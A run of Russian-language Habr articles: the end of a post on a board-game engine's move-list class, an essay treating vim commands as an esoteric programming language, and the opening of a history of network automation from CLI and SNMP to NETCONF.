Хотя игрок может продолжить взятие ходом "**D4-C5**", он имеет право отказаться от этой возможности, нажав кнопку "**Pass**". Частным случаем этой ситуации является отказ игрока от выполнения **всего** составного хода (в некоторых играх, например в "[Го](https://ru.wikipedia.org/wiki/%D0%93%D0%BE)", это допускается). Перед получением списка позиций, контроллер должен вызывать метод **canPass**, для определения допустимости досрочного завершения составного хода. Вызов метода **pass** завершит выполнение хода (если это допускается правилами). После этого, контроллеру останется получить список допустимых ходов, выбрать один из них и применить его к **ZrfBoard**, для получения нового состояния.
Я рассказал далеко не о всех возможностях класса **ZrfMoveList**. В некоторых играх (например в "[Мельнице](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BB%D1%8C%D0%BD%D0%B8%D1%86%D0%B0_(%D0%B8%D0%B3%D1%80%D0%B0))", показанной выше) логика выполнения хода может быть гораздо более сложной. Она может включать в себя множественные перемещения фигур, недетерминированные захваты и сбросы фигур и даже недетерминированные перемещения! Для нас важно, что все эти сложности надёжно скрыты за простым и понятным интерфейсом класса **ZrfMoveList**. Да, сам этот класс **очень** сложен, но эта сложность оправдана! Ведь не будь её, нам пришлось бы в ещё большей степени усложнить контроллер. | https://habr.com/ru/post/322212/ | null | ru | null |
# Vim как эзотерический язык для редактирования текста
Как часто мы ограничиваем понимание привычными шаблонами? Все наверняка знают, что vim — это текстовый редактор, со встроенным скриптовым языком. И сравнивают vim с другими редакторами, иногда даже с IDE.
Мне в голову пришла аналогия, которая возможно несколько ближе к пониманию возможностей vim. Либо же это можно считать еще одной гранью функционала vim. Прошу простить за очередное повторение всеми измученной темы, но меня не оставляют равнодушными споры об этом «редакторе». Возможно среди вас тоже есть такие люди.
Ранее где-то на просторах Хабра писали про киллер-фичу vim'a — режимы. На что было высказано резонное замечание: режимы усложняют выполнение простых операций (среди множества других, не менее резонных комментариев). Я в работе постоянно использую vim и не могу отрицать, что режимы действительно усложняют работу в самых простых случаях. Но давайте рассмотрим возможности vim'a как эзотерического языка редактирования текста.
В командном режиме все нажатия клавиш интерпретируются как команды или параметры этих команд. Для удобства набора команды сделаны в большинстве случаев односимвольными. Представьте, как выглядел бы C#, если бы все конструкции языка и переменные были бы односимвольными. И именно по этому у vim очень крутая кривая обучения. Нужно запомнить и уметь ориентироваться в большом количестве односимвольных команд. На stackoverflow можно найти ответы по тегу vim, представляющие из себя набор таких команд. Например:
```
vmap \c :s!^!//!
vmap \u :s!^//!!
```
Мне подобные вещи напоминают примеры программ на Brainfuck (хотя vim команды на мой взгляд немного попроще):
```
++++++++++[>+++++++>++++++++++>+++<<<-]>++.>+.+++++++
..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.
```
Или например в моем конфиг файле можно найти замечательную строчку:
```
ve"aydeBvE"by
```
Какие выводы из этого можно сделать?
Википедия просвещает:
> Общее свойство, присущее любому эзотерическому языку — текст программы на нём понятен лишь «посвящённому» либо непонятен вообще.
>
>
Т.е. я не считаю, что vim *следует* изучать кому-либо. Точно так же как никто не будет утверждать, что умение писать на Brainfuck облегчит кому-либо жизнь. Однако, если у вас достаточно свободного времени и вы (как и я) любите необычные вещи, тогда я сделаю краткое введение в эту эзотерическую науку — владение vim. Сделаю небольшую оговорку, речь не идет о vimscript — встроенном языке скриптинга vim. Речь только о представлении команд vim как отдельного языка программирования.
Нет смысла писать про разные режимы работы в vim, по-настоящему вам понадобится только один режим — командный. Можно даже сказать, что режим ввода текста нужен только для того, чтобы не перегружать командный режим возможностями ввода текста. Поэтому я сгруппирую материал по другому принципу — по возможностям команд.
Команды перемещения по тексту
-----------------------------
На мой взгляд с хорошего детального изучения этой возможности следует начинать знакомство с vim. Краткий перечень того, что я использую регулярно:
> h,j,k,l — перемещение курсора на один символ влево, вниз, вверх, вправо соответственно.
>
> /word — перемещение курсора к позиции слова word в тексте (то, что непосвященные называют поиском).
>
> ?word — поиск в обратном направлении (да, я тоже непосвященный).
>
>
Здесь и далее по-хорошему следовало оставить формулировку с перемещением вместо поиска (потому как это ключевой момент команды), но я слишком ленив для таких длинных фраз.
> n — перемещение к следующей позиции слова из поиска в тексте.
>
> N — то же самое в обратную сторону.
>
> \* — поиск слова под курсором.
>
> # — то же самое в обратную сторону.
>
> f[a-z] — перемещение к позиции в строке символа, переданного как параметр.
>
> F[a-z] — то же самое в обратную сторону.
>
> w,b — перемещение на слово вперед, назад соответственно.
>
> m[a-z] — поставить в тексте закладку с именем символа, переданного как параметр.
>
> `[a-z] — перейти к закладке по имени.
>
> () — перемещение к предыдущему, следующему предложению.
>
> {} — перемещение к предыдущему, следующему абзацу.
>
> % — перемещение к соответствующей скобке (){}[] (от открывающей к закрывающей и обратно).
>
>
Просто запомнить это сложно и скучно, нужно использовать в повседневных задачах. Пусть ваши руки запомнят эти команды так же, как они научились слепой печати — через постоянные тренировки.
Далее команды редактирования. Их можно было бы выделить в отдельную категорию, но без команд перемещения они бесполезны. И к тому же их совсем немного. В своей практике можно вообще ограничиться тремя:
> d — удалить без перехода в режим ввода текста.
>
> c — удалить с переходом в режим ввода текста.
>
> y — скопировать текст, не внося изменений.
>
> v — выделить текст.
>
>
Последние две не совсем подходят под команду редактирования, но ведут себя аналогично первым двум.
Некоторые связки команд редактирования и перемещения действуют через вспомогательный режим выделения — v. Т.е. сначала выделяем требуемый кусок кода, затем удаляем.
Несколько примеров:
> de — удалить слово
>
> v/ad — удалить от текущей позиции до первой позиции символа «a»
>
> dta — удалить до первой позиции в строке символа «a»
>
>
Переменные
----------
Переменные в vim называются регистры. Есть несколько специальных регистров:
> 0 — последний скопированный текст.
>
> + — текст из буфера обмена.
>
>
И именованные a-z, содержимое которых устанавливается явно командой "[a-z] добавленной как параметр к команде редактирования. Т.е. ve"ay — выделить слово и скопировать в регистр а. Добавить текст к содержимому регистра можно, указав его имя с большой буквы ve"Ay.
Содержимое всех регистров можно посмотреть командой :registers
Макросы
-------
Самая полезная, на мой взгляд, функция эзотерического языка. Аналог процедур в обычных языках. Функционал, достаточно редко упоминаемый, но очень часто мной используемый.
Текст макроса сохраняется в именованном регистре и может быть вызван по имени.
> q[a-z] — начать запись
>
> q — остановить запись
>
> @[a-z] — выполнить макрос (вызвать процедуру)
>
>
Например, если следующий текст ve"Ay поместить в именованный регистр b, а затем набрать @b, слово под курсором будет добавлено к регистру а. Соответственно последовательность команд qbve"Ayq аналогична записи макроса в регистр b с параллельным выполнением команд (т.е. можно наблюдать результат в процессе записи).
Повторный запуск
----------------
Все команды редактирования и макросы можно запускать с параметром — количество итераций. Например 5de — удалит 5 слов, 5@b — запустит макрос b 5 раз. Так же есть команда "." — повторение последней выполненной команды. Т.е. 5de. — удалит 10 слов.
Пример
------
Для первого знакомства, думаю, достаточно. В завершение покажу небольшой пример. Допустим у нас есть список колонок и соответствующих таблиц:
> Col1, Table1
>
> Col2, Table2
>
> Col3, Table3
>
> …
>
>
И мы хотим на каждую пару написать select с объединением результата в один набор данных (т.е. union all). Конечно эту задачу можно решить любым другим более адекватным способом. И даже лучше ее решать адекватными способами. Но это слишком просто.
Текст программы будет выглядеть следующим образом:
```
qq0iselect ,s from union all0q2@q
```
#### Пару слов о том, что осталось за рамками
1. Плагины vim.
2. VimScript.
3. Ed.
4. Еще куча интересных команд.
VimScript — скриптовый язык, встроенный в vim (уже упоминал выше). Ed — это текстовый редактор, встроенный в vim (возможно не слишком корректно выразился, но суть близка к этому). У него совершенно отдельный синтаксис, но с ним в некоторой степени знакомы все, кто пользовался утилитой sed. В ed есть перемещение/удаление строк, вывод на экран и некоторые другие функции.
На этом все. Happy vimming! | https://habr.com/ru/post/342562/ | null | ru | null |
# АДСМ5. История сетевой автоматизации
*Это первая статья - историческая ретроспектива технологий и интерфейсов автоматизации сети. Если хочется более практического разбора, я отсылаю читателя к* [*статье-спутнику*](https://habr.com/ru/post/667440/)*, в которой мы собираем лабу, дёргаем апишки, настраиваем коробки.
В этой же разбираемся, как мы оказались в том месте, где мы находимся, и куда ведёт нас этот путь. Практическую пользу вам принесут только обе прочитанные статьи. Вторая без первой будет непонятна. Первая без второй - беллетристика.*
Когда началась история сетевой автоматизации?
С Ansible в 2018? С ним она явно получила ускорение благодаря безагентной природе.
Не. До него были голые языки на букву "P": Python, Perl, PHP.
С NETCONF? Точно нет, CLI ещё мой дед парсил. А уж сколько expect'ов там поработало…
SNMP - вот что приходит на ум в качестве первого подхода - он родом из 90-х.
Однако как насчёт перехода от коммутации каналов к коммутации пакетов? Нельзя ли назвать динамическую сеть, не требующую мгновенного ручного вмешательства при обрывах, разновидностью автоматизации?
А первый декадно-шаговый искатель, разработанный Строуджером в 19-м веке и раз и навсегда избавивший мир от ручного труда телефонисток?
Да и в целом даже сам факт появления телефонных станций взамен почты, курьеров и гонцов?
Весь наш мир последние лет 300 безостановочно гонится за ускорением. Людей становится всё больше (Индия вон обогнала уже Китай), но их труд всё дороже (не в Индии). И в этом помогает автоматизация.
300 лет! Тем временем в сфере сетевых технологий сложилось мнение, что тут всё замерло, мы топчемся на месте, изобретая велосипеды. Но это лишь из-за того, что мы берём довольно короткий период времени и гораздо больший акцент делаем на текущем моменте, нежели на тенденции.
Как говорится, мы склонны переоценивать краткосрочные последствия и недооценивать долгосрочные.
Все статьи АДСМ[0. Планирование](https://habr.com/ru/post/453516/)
[1. Виртуализация сети](https://habr.com/ru/post/458622/)
[2. Дизайн сети](https://habr.com/ru/post/475614/)
[3. IPAM/DCIM-система](https://habr.com/ru/post/486000/)
[4. Жизненный цикл сетевого оборудования и архитектура системы автоматизации](https://habr.com/ru/post/553130/)
[5. История сетевой автоматизации](https://habr.com/ru/post/667012/)
[6. Интерфейсы взаимодействия с сетевыми устройствами](https://habr.com/ru/post/667440/)
Источник: доклад на Cisco Live:
https://www.ciscolive.com/c/dam/r/ciscolive/emea/docs/2020/pdf/BRKNMS-2032.pdfВ этой статье посмотрим, сколько всего в эти 30 лет уместилось.
А уместилось немало.
---
Содержание
----------
* [One CLI to rule them all](#LORD_OF_CLI)
* [SNMP - и не simple, и не management, и не short term](#SNMP)
* [API/RPC](#API_RPC)
* [NETCONF](#NETCONF)
* [RESTCONF](#RESTCONF)
* [YANG, который (по-)меняет мир](#YANG)
+ [Проприетарные, они же Native](#NATIVE_MODELS)
+ [IETF-модели](#IETF_MODELS)
+ [OpenConfig - мечта, становящаяся явью](#OPENCONFIG_MODELS)
* [gRPC/gNMI](#GRPC_GNMI)
* [Настоящее сетевой автоматизации](#NOW)
* [Видимое будущее: Whitebox](#OBSERVABLE_FUTURE)
* [Шаг за горизонт: Тотальное упрощение сетей](#EVENT_HORIZON)
* [Заключение](#THEEND)
* [Полезные ссылки](#LINKS)
---
One CLI to rule them all
------------------------
*С начала времён и до сего дня.*
Сегодня бумажные деньги - это артефакты уходящей эпохи. Мы не можем в одночасье от них отказаться - даже в самых прогрессивных странах, потому что есть ещё огромный хвост людей, не готовых перейти на безналичный расчёт.
Но купюры были естественным и незаменимым средством ещё лет 10 назад. Они пришли взамен монетам из золота и серебра, которые были естественны лет 300 назад. А те заменили собой натуральный обмен, который был естественным несколько тысяч лет назад.
Так и командная строка в своё время являлась совершенно естественным методом взаимодействия с сетевым железом. Вбивали же люди в nix'ах команды в терминал? Ну так и маршрутизатор - тот же nix.
Это самый понятный человеку-инженеру способ общаться с устройством.
Начал набирать команду, сделал табуляцию, посмотрел список доступных аргументов, продолжили. Возникла ошибка при выполнении - сразу же текст в терминале отображается - принимаешь меры. Понятно, удобно, интерактивно. Нет ничего лучше для интерфейса человек-устройство. Интерфейса, который сегодня стремительно теряет свои позиции в настройке сервисов.
И если в сфере серверов уже многие годы сумасшедшими темпами развивается RPC и IaC, то в области сетевых технологий всё как-то ни шатко ни валко. На самом деле на сегодняшний день ситуация немногим менее печальная, чем лет 15 назад.
Командный интерфейс (**CLI**) реализует императивный интерфейс. А мы во всех сферах стремимся к декларативности.
CLI может быть структурированным и логичным, как на Juniper. Может быть как на Cisco/Huawei/Arista. Он может поддерживать транзакции посредством коммитов, а может применять команды по мере их ввода.
Коммиты могут быть реализованы через подмену running конфигурации candidate, через применение только разницы между текущей и целевой или через последовательное применение введённых прежде команд.
Команды затем транслируются в вызовы какого-то внутреннего API, который может быть понятен и даже в каком-то смысле документирован (привет, Juniper) или представлять из себя чёрный ящик (йо, хуавэй, как жизнь?).
Но главная суть не меняется - если ты хочешь что-то настроить, ты подключаешься по ssh, вводишь команды - читаешь ответ, предпринимаешь дальнейшие действия. То есть максимально понятно для человека и абсолютно неудобно для взаимодействия машина-машина. Все эти приглашения, промпты, текстовые выводы, ошибки и предупреждения породили expect'ы, textfsm'ы, napalm'ы и триста способов заставить скрипт вести себя как человек.
Но самая главная проблема CLI - это фундаментальные различия в синтаксисе и семантике у различных вендоров. А порой даже в различных версиях.
Не существует такого способа, который позволил бы декларативно объявить - хочу вот именно такую конфигурацию BGP с такими пирами и таким набором политик, и не хочу вычислять, что мне нужно для этого добавить, а что удалить.
И кроме всего прочего долгое время не существовало надёжного инструмента доставки и применения конфигурации - каждый изгалялся в меру своей фантазии.
Спасибо Майклу Дехану, вендорам и сообществу, попытка создать такой инструмент была предпринята - Ansible. Да, к нему много (у кого-то очень много) вопросов. Да, он не решает большей части проблем, озвученных выше. Но по факту это лучший опенсорсный инструмент для применения конфигурации на сетевое железо (ну, кроме Nornir), и Ansible - спасение для многих сетевых инженеров. Сложить весь прод одним нажатием Enter никогда прежде не было так просто.
Ещё одна особенность CLI - отсутствие контроля состояния. CLI делает то, что ему сказали. Если ты не побеспокоился о том, чтобы удалить лишнего пира специальной командой - он и не почешется. Контроль состояния - ответственность инженера.
С другой стороны CLI - это на сегодняшний день (и долго ещё так будет) единственный вариант, который на 100% современных железок позволит настроить 100% предоставляемой ими функциональности.
Учитывая, что компаний, которые сейчас строят сеть с нуля и могут выбрать только то оборудование, которое поддерживает полноценный NETCONF/gNMI, очень и очень немного, всем остальным нужно уметь поддерживать зоопарк оборудования разного возраста и уровня.
Собственно в Яндексе именно тем, что CLI работает в буквальном смысле на всём, и воспользовались. [Аннушка настраивает сетёвку](https://www.youtube.com/watch?v=cMllUl73iZg) именно через CLI.
Что можно утверждать однозначно - CLI как таковой никуда не денется **никогда**. Даже в эпоху полностью автоматизированных сетей, командная строка никуда не уйдёт из сферы диагностики.
Он, возможно, будет глубоко запрятан, или он трансформируется в полноценную линуксовую консоль, но как средство управления он останется.
Однако факт того, что все способы автоматизации чего-либо через CLI - это попытка написать скрипт, который будет прикидываться человеком и предугадать все возможные исключительные ситуации и варианты ответа операционной системы, заставляет писать очень изощрённые программы и постоянно их адаптировать под изменяющееся от версии к версии поведение и синтаксис новых вендоров.
А сколько радости представляет как крафтинг, так и парсинг текста, вы можете представить.
Желание унифицировать подходы и сделать стандартизированным интерфейс взаимодействия появилось не вчера. О нём думали уже в 80-е, что и породило очень удачное решение - SNMP.
---
SNMP - и не simple, и не management, и не short term
----------------------------------------------------
*Бунтарские 80-е - лихие 90-е.*
Это была достаточно смелая и, в некотором смысле, успешная попытка создать единый стандарт взаимодействия с сетевым устройством.
В 80-е годы было уже вполне понятно, что сети - бурнорастущая отрасль, в которой уже сейчас хаотически складываются подходы к управлению.
И вот умники в **IAB** (*Internet Activities Board*) крепко призадумались и 21-го марта 1988 года, собравшись в тогдашнем зуме (без шуток, не офлайн), постановили много важного стратегического про будущее систем управления интернетом. Ох они тогда напридумывали!
Результаты встречи они сели, записали и превратили в [RFC1052](https://datatracker.ietf.org/doc/html/rfc1052).
Они уже тогда действительно проектировали штуки, которые должны были не дать превратиться системам управления в то, во что они всё же превратились.
Как иронично теперь читать это послание из 80-х:
```
(i) Future Internet development is a joint interest of the R&D
community, the vendor community and the user community.
(ii) We still don't have a common understanding of what
[Inter]Network Management really is.
(iii) We will learn what [Inter]Network Management is by doing it.
(v) Define the Management Information Base for TCP/IP suite NOW!
(vi) Seek a seat for IETF on ANSI, ISO and/or CCITT
Удачи вам там, пацаны, в будущем…
```
Но работа закипела. RFC выходил за RFC. А количество рабочих групп не оставляло шансов для провала.
Что любопытно, так это то, что SNMP по их задумке был **временным протоколом**, решающим насущные нужды вендоров и операторов в перспективе нескольких лет. А в дальнейшем все должны были перейти на ISO CMIP/CMIS ([RFC1095](https://www.ietf.org/rfc/rfc1095.txt) и [RFC1189](https://www.ietf.org/rfc/rfc1189.txt)). Общими для них оставались MIB ([RFC1066](https://datatracker.ietf.org/doc/html/rfc1066)) - спецификации, описывающие формат данных.
Уверен, что уже тогда не всем эта идея пришлась по душе.
В те дни человечество ещё верило в ISO.
**CMIP/CMIS** - *Common Management Information Services/Common Management Information Protocol* - это такая же несостоявшаяся вещь, как OSI. Здорово всё напланировали, но временный SNMP заполонил всю планету.
Есть и другие слова, выдуманные в те дни, которые мы сейчас нигде в обиходе не используем: *HEMS, SGMP, NETVIEW, TNM, LANMANAGER, Network Computing Forum "Fat Document"*...
SNMP именно потому и был Simple, что на горизонте маячил Common. И его планировали держать "Simple", пока не откажутся. А вовсе не потому что он сам по себе был прост. Кажется, нам, как цивилизации, ещё повезло, что на смену SNMP не пришло что-то не столь Simple.
Итак, SNMP победил, если это можно считать победой. А другие рабочие группы распустили.
MIB - являл собой спецификацию, говорящую как системе управления, так и сетевому устройству, как собирать и интерпретировать SNMP-сообщения.
То есть на одной стороне есть инструкции того, как собрать пакет, на другой - как его прочитать. Остаётся только подставлять переменные и посылать через SNMP.
Ну какова красота?! Никакого чтения документации, никакой человеческой интерпретации - только строгое следование спецификации. И это начало 90-х!
Скажу вам больше - те же парни из IAB, ещё до того, как Cisco начала паровозить тему с SNMP, придумали **SMI** - *Structure of Management Information* - по сути язык моделирования данных - то, как именно данные будут структурированы в MIB.
Для нас не очень важно что и в течение какого времени нужно употреблять, чтобы написать и прочитать написанные на языке [ASN.1](https://habr.com/ru/post/150757/) модели SMI. Для нас важно, что SMI дал жизнь **YANG**'у. Всё же не вся работа тогдашних групп была в стол. Но об этом позже.
Уже тогда, в 90-е, все хотели сделать что-то универсальное и отвязаться от вендорской специфики, но настойчивых попыток не предпринимали, а вендоры в погоне за time to market были ещё меньше заинтересованы вкладываться в стандартизацию того места, где им не придётся стыковаться друг с другом. Поэтому единой модели тогда не появилось.
Однако теперь следите за руками: к концу 90-х у нас уже были:
* Протокол - SNMP;
* Спецификации - MIB;
* Язык их моделирования - SMI;
* Возможность стримить данные с железки на NMS - Trap'ы (ну серединка на половинку, конечно, но всё же);
* Целая пачка инструментов, утилит и NMS, работающих с MIB и SNMP - snmpwalk, MIB browser;
* Желание вендоров поддерживать это и выпускать MIB'ы для каждой новой версии вовремя.
По всей видимости мы были просто в шаге от дивного мира с единым фреймворком для сетевой автоматизации.
Но добавляя ещё один пункт:
* Никто из вендоров при этом так и не поддержал полноценное конфигурирование через SNMP.
мы получаем ситуацию, в которой мы находимся прямо сейчас. Та-дам!
Но даже без этого в силу сложности (*S for Slozhnost*), вопросов к архитектуре, безопасности, транзакционности, нечитаемости спецификаций, непрогнозируемости результатов, невозможности проиграть изменения повторно, UDP в качестве транспорта и многим другим, SNMP нашёл применение лишь в задачах сбора данных с сетевых устройств и в крайне вырожденных случаях для настройки точечно тех или иных вещей.
Впрочем сегодня даже в вопросах мониторинга SNMP скромно уступает место NETCONF и gNMI.
Смахнули скупую слезу и забыли! И про SNMP и про CMIP/CMIS. Не забываем только про SMI.
Переходим к современности.
---
API
---
Давайте на парсек поднимемся над нашей ежедневной рутиной и взглянем на сеть с расстояния. И тогда можно увидеть, что программную работу с сетевым оборудованием следует рассматривать как взаимодействие с удалённой системой (чем она и является). А уже много лет назад для этого придумали термин - API.
То есть, если мы хотим чего-то от этой системы, мы используем известный интерфейс, для которого описано, как и что мы должны сделать, чтобы добиться желаемого результата. API - это широкий и абстрактный термин, сам по себе не говорящий ничего о схеме данных, о формате и протоколах взаимодействия - просто программный интерфейс приложения - не человеческий, а программный.
И под одним этим зонтичным термином скрываются совершенно разные виды:
* REST API
* GraphQL
* XML RPC
* Linux Kernel API
* SOAP
* CORBA
* PCI шины
* JSON RPC
* Android API
* И сотни других
Хотя никто его так и не называлОдни из них, такие как REST оперируют ресурсами и представляют набор операций над ними, в случае REST: CRUD - Create Read Update Delete. То есть вы можете создать (Create) ресурс "билет на linkmeetup" и скачать (Read) его далее в любой момент. С REST мы уже [разбирались как-то](https://linkmeup.ru/blog/1266/).
Другие виды API оперируют функциями, и позволяют на сервере запускать те или иные оговоренные программы. К последним относится класс API, который можно назвать RPC.
---
RPC - Remote Procedure Call
---------------------------
Этот термин родом из языков программирования. Ещё на рубеже 50-60-х годов языки вроде Fortran II и ALGOL ввели в обиход разработчиков процедуры (они же функции). С тех пор они везде - большинство языков - процедурные. Любое действие - это вызов процедуры - Procedure Call. И когда-то эта процедура должна была находиться где-то в том же модуле или в соседних, но точно рядом и в том же окружении. Но почему бы не слать вызов с параметрами на удалённую машину, где мы хотим что-то выполнить?
Например, мы могли бы по HTTP/FTP скачать несколько гигов данных sFlow с сервера и проанализировать их локально, а можем отправить сигнал на сервер, чтобы сложную статистику вычислил он сам и вернул результаты в ответе. Так вот второе - это удалённое исполнение кода.
Анналы истории говорят, что в в 1981 году Брюс Джей Нельсон, работая в Ксероксе, изобрёл концепцию и термин **RPC** - *Remote Procedure Call*.
RPC - удивительный клиент-серверный механизм, который позволяет запустить исполнение кода процедуры на другой машине так, словно бы он исполнялся локально. То есть разработчик просто привычным образом обращается к процедуре, не задумываясь о том, где и как она исполняется - главное, чтобы она вернула ответ. А программа уже сама реализует взаимодействие с удалённой машиной.
Прелесть этого подхода в том, что он, во-первых, позволяет скрыть удалённый характер работы. А, во-вторых, на той, другой, стороне совершенно неважно, какая операционная система, архитектура, язык программирования и окружение - главное, чтобы они подчинялись одному протоколу.
Можно провести аналогию с TCP - не важно, какие операционные системы на хостах, желающих друг с другом общаться, - важно, чтобы они следовали спецификациям протокола TCP и его конкретной реализации - и тогда данные, отправленные одним хостом, будет возможно интерпретировать на другом.
Так в случае RPC, из-под винды в питоне, например, вы можете исполнить удалённую программу, написанную на Go, запущенную на линуксе. И никто вам не сможет помешать!
Но что, по большому счёту, мы делаем, когда, зайдя по SSH, выполняем какую-то команду на коммутаторе или маршрутизаторе? Запускаем определённый код.
Например, сообщаем подсистеме BGP, что нужно теперь пробовать установить соединение с новым пиром.
Только представьте, как было бы восхитительно, если бы для вызова этого кода, не нужно было заходить на железку по SSH и вбивать команду?!
Взаимодействие между приложениями через RPC используется преимущественно в условиях, когда требуется обеспечить тесную связь между ними, когда они все формируют единую систему.
В то же время REST API наоборот требуется, когда компоненты должны быть достаточно изолированы и развиваться независимо.
Так REST обычно предоставляют внешним клиентам, B2B, смежным, но малосвязанным командам. Например, публикация постов в соц.сетях или агрегаторы авиабилетов при обращении к сервисам авиакомпаний. А RPC - там, где компоненты составляют часть чего-то большего, например, узлы банковской системы или микросервисные архитектуры.
В целом RPC - это концепция, не говорящая ничего о реализации. Она постулирует, что на стороне клиента есть так называемый стаб (stub) - фрагмент кода, который реализует взаимодействие по RPC. Именно стабы делают для разработчика прозрачным вызов функции - из приложения вызывается этот стаб с набором параметров, а уже стаб делает удалённый вызов.
Ключевая часть RPC - **спецификация** - штука, которая на стороне сервера и клиента определяет, как работать с данными - как упаковать, как распаковать. Без участия человека, конечно же.
Язык, на котором пишется спецификация - **IDL** - *Interface Definition Language*. Иными словами, на IDL пишется спецификация, на основе которой создаются и серверный интерфейс, и клиентский стаб. Это может быть, например, набор классов в питоне, имеющих функции для удалённого вызова, с которыми разработчик работает так, словно всё происходит локально - для клиента. И набор объектов Go - для сервера.
Наевшись с CLI и SNMP, сетевики придумали два протокола, которые используют под капотом RPC и при этом позволяют управлять сетевым железом:
* NETCONF
* gRPC
---
NETCONF
-------
*Сытые 0-е и по ныне*
Если вам по какой-то причине кажется, что стандарты рождаются где-то в недрах институтов, оторванных от жизни, то послушайте вот эту историю. ~~Скорбно при этом помним про ISO.~~
В 1996 выходец из Ксерокса Прадип Синдху и Скот Кринс из StrataCom, купленной Циской, основали Juniper Networks. Идея создания мощного пакетного маршрутизатора пришла в голову Синдху, и он стал CTO компании, а второго наняли на роль CEO.
Источник: https://tofactorydefault.files.wordpress.com/2013/12/juniper-m40.jpgВместе они создали легендарный М40 и лучший в мире интерфейс командной строки. До сих пор никто не сделал ничего лучшего - все только повторяют. Операционка, предоставляющая клиенту обычный текстовый интерфейс, на самом деле перекладывает команды в XML, который используется для управления оборудованием..
Так вот, их CLI и способ взаимодействия его с системой оказался настолько естественным и удачным, что его и положили в основу стандарта NETCONF в 2006-м году. Не без участия Juniper Networks, конечно же, появился [RFC4741](https://www.ietf.org/rfc/rfc4741.txt). Будем честны, один только джунипер там и постарался в практической части. И то тут, то там будут проскакивать его куски, начиная с set и заканчивая candidate config.
Вот как он был определён в нулевых:
```
Abstract
The Network Configuration Protocol (NETCONF) defined in this document
provides mechanisms to install, manipulate, and delete the
configuration of network devices. It uses an Extensible Markup
Language (XML)-based data encoding for the configuration data as well
as the protocol messages. The NETCONF protocol operations are
realized on top of a simple Remote Procedure Call (RPC) layer.
```
И определение с тех пор не менялось - вся суть NETCONF в этом параграфе.
Но как так получилось, с чего началось? Да с того, что в начале 2000-х IAB проснулся в одно недоброе утро и осознал, что все планы по CMIP мир провалил, SNMP прорастил свои корни глубоко и перестал быть Simple, никто из вендоров так и не реализовал на 100% его поддержку, в самой аббревиатуре SNMP "M" вместо *"Management"* стала обозначать *"Monitoring"*, и к тому же единой модели данных конфигурации не получилось. Хуже того - появился этот выскочка Juniper, который везде суёт свой нос.
В общем умники из IAB крепко призадумались. И собрались снова - на этот раз в офлайне 4-го июня 2002-го года в Рестоне (это в Штатах - любопытный городок - почитайте), чтобы *"продолжить важный диалог, начатый между операторами и протокол-девелоперами"*.
Сели, похаяли SNMP, покекали с аббревиатур COPS, SPPI, PIB, CIM, MOF и записали это всё в ~~тик-ток~~ [RFC3535](https://datatracker.ietf.org/doc/html/rfc3535).
Выхлопом этой встречи стали 33 наблюдения и 8 рекомендаций. Среди них есть действительно важные, определившие наше настоящее.
```
1. Программные интерфейсы должны предоставлять полное покрытие,
иначе они не будут использоваться операторами, поскольку они
будут вынуждены использовать CLI.
5. Необходимо строго разделение между конфигурационными и операционными
данными
8. Необходимо иметь возможность выгрузить и загрузить конфигурацию
в текстовом формате в единообразной манере между всеми вендорами
и типами устройства
9. Желательно иметь механизм доставки конфигурации в условиях
транзакционных ограничений.
14. Необходимо, чтобы устройства поддерживали как программный,
так и пользовательский интерфейс
15. Внутренние операции на устройстве должны быть одинаковы
как для программного, так и для пользовательского интерфейсов.
26. Должна быть возможность произвести операцию над указанной секцией
конфигурации.
27. Должна быть возможность выяснить возможности устройства
28. Необходимы безопасный транспорт, механизмы аутентификации
и авторизации, поддерживаемые текущей инфраструктурой.
30. Полная конфигурация устройства должна быть применима через один
протокол.
```
Часть из них мы воспринимаем сегодня как самоочевидное, мол, а как вы ещё иначе могли бы такое сделать? Но это не воспринималось так тогда. Просто вспомним как устроен SNMP :)
А ещё были явно полезные рекомендации:
* Рабочее совещание рекомендует прекратить форсить рабочие группы предоставлять конфигурационные MIB'ы;
* Рабочее совещание рекомендует не тратить время на CIM, COPS-PR, SPPI PIB.
В общем-то какие претензии к SNMP и его компании заставили уважаемых людей собраться на три дня?
* Проблемы масштабирования. Забирать большие объёмы данных с большого количества устройств он не был рассчитан.
* Транзакционность изменений на устройстве, и тем более на сети, должна была поддерживаться не протоколом и устройством, а системой инструментов.
* Откат также лежал на инструментах.
* Writable MIB не покрывали большей части задач по настройке устройства.
* Весь этот куст OID'ов был крайне сложночитаем для человека. Понять, что произойдёт после работы скрипта было очень сложно. *Сколькие из вас отчаялись, пытаясь его понять?*
* Не было никакого инструмента, который позволял бы повторно выполнить те же действия идемпотентно на этом же устройстве или на другом.
* Контроль состояния тоже отсутствовал.
В итоге протокол, призванный решать вопрос автоматизации, не особо-то для этого подходил. Короткий итог встречи: IETF всё это время что-то там придумывал, разрабатывал, чтобы сделать жизнь операторов проще, а те не будь дураками, пришли и наконец сказали, что, мол, вы тут штаны просиживаете, а ничего полезного для нас не делаете, а делаете вы бесполезное! И ISO туда же!
И в этот момент Juniper из-за угла приоткрывает полу своего XML-API. И он оказывается настолько более лаконичным (это XML-то!) и удобным, что рабочая группа внезапно решает принять его концепции в качестве стандарта **NET**work **CONF**iguration protocol - [RFC4741](https://www.ietf.org/rfc/rfc4741.txt) . Упор на Configuration в названии - это, видимо, гиперкомпенсация отсутствия режима конфигурации в SNMP.
Вот так в итоге скромно упомянут джунипер в этом RFC:
```
In the late 1990's, some vendors started to use the Extensible Markup
Language (XML) [XML] for describing device configurations and for
protocols that can be used to retrieve and manipulate XML formatted
configurations.
```
А через 5 лет, в 2011, исправленное и дополненное издание вышло под номером [RFC6241](https://www.ietf.org/rfc/rfc6241.txt). Там уже потрудились несколько университетов и компаний. Одной из них стала восходящая звезда сетевой автоматизации Tail-f, купленная и погубленная в 2014-м году циской.
И вот в операторские сети на белом коне въезжает NETCONF.
* Работает по SSH (и не только),
* Представляет данные в структурированном виде,
* Разделяет конфигурационные и операционные данные,
* Имеет несколько операций над данными: create, merge, replace, delete, remove,
* Может обеспечить контроль целевого состояния конфигурации,
* Поддерживает концепцию нескольких версий конфигурации (datastores),
* Может поддерживать commit конфигурации. Обеспечивает транзакционность,
* И вообще красавчик.
Причём Juniper его поддерживает с нулевого дня. И в полной мере, потому что для него это максимально естественно - это и есть его API. А вот внутренний API той же Циски или Хуавэя не ложится так гладко на XML и какую-либо простую схему. Для них поддержка NETCONF - это большая работа, которую они выполняют с переменным успехом. Коммиты, операция *replace* - это всё даётся тяжело. А именно в них вся сила.
